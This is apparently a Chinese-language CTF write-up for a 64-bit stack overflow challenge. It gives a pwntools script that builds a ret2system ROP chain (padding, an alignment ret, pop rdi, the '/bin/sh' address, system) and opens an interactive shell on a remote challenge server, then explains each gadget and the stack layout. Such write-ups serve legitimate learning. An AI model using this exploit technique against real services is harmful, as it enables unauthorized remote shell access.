from pwn import *
io = remote('node4.buuoj.cn', 27175)
pop_rdi_ret=0x4011fb
bin_sh=0x40201b
syscall=0x401040
ret=0x401016
payload=b'a'*(0xf+8)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(syscall)
io.sendline(payload)
io.interactive()
这个解法有点复杂了,强行构造了一波rop。
以下讨论均基于64位程序,32位程序略有不同。
通过ida的栈结构视图可见主函数的栈帧(这个不一定准确) ,注意到第一个s长度为0xF,然后是长度为8的ebp,然后是返回地址r。
所以padding长度为0xF+8
p64(ret)是为了栈对齐,具体原理我也不懂,但是缺少这句是无法getshell 的。
p64(pop_rdi_ret)+,这句完成2个功能,一为rdi寄存器赋值,为调用system函数做参数准备,赋值内容为p64(bin_sh),二为ret到下一个要执行的函数(即劫持rip到下一个要执行的命令地址,这里是system),也就是p64(syscall)==system。通过ROPgadget可以找到pop_rdi_ret的地址。ROPgadget --binary rip --only 'pop|ret'
**pop rdi后程序会紧接着执行ret,ret的就相当于pop rip,从栈的栈顶取出数据并给rip赋值,而rip决定程序下一步执行哪条命令
p64(bin_sh)+,字符串地址,通过ida的shift+f12可以找到
p64(syscall),system函数地址,通过ida的函数列表可以找到。成功执行system获取shell的前提操作是\bin\sh已作为参数赋值给RDI。
stack | ||
高地址 | system_address | system函数地址 |
BIN_SH_address | \bin\sh字符串地址 | |
POP_RDI_RET | RIP | |
padding,长度8(64位程序) | RBP | |
低地址 | padding,长度0xF | 变量s |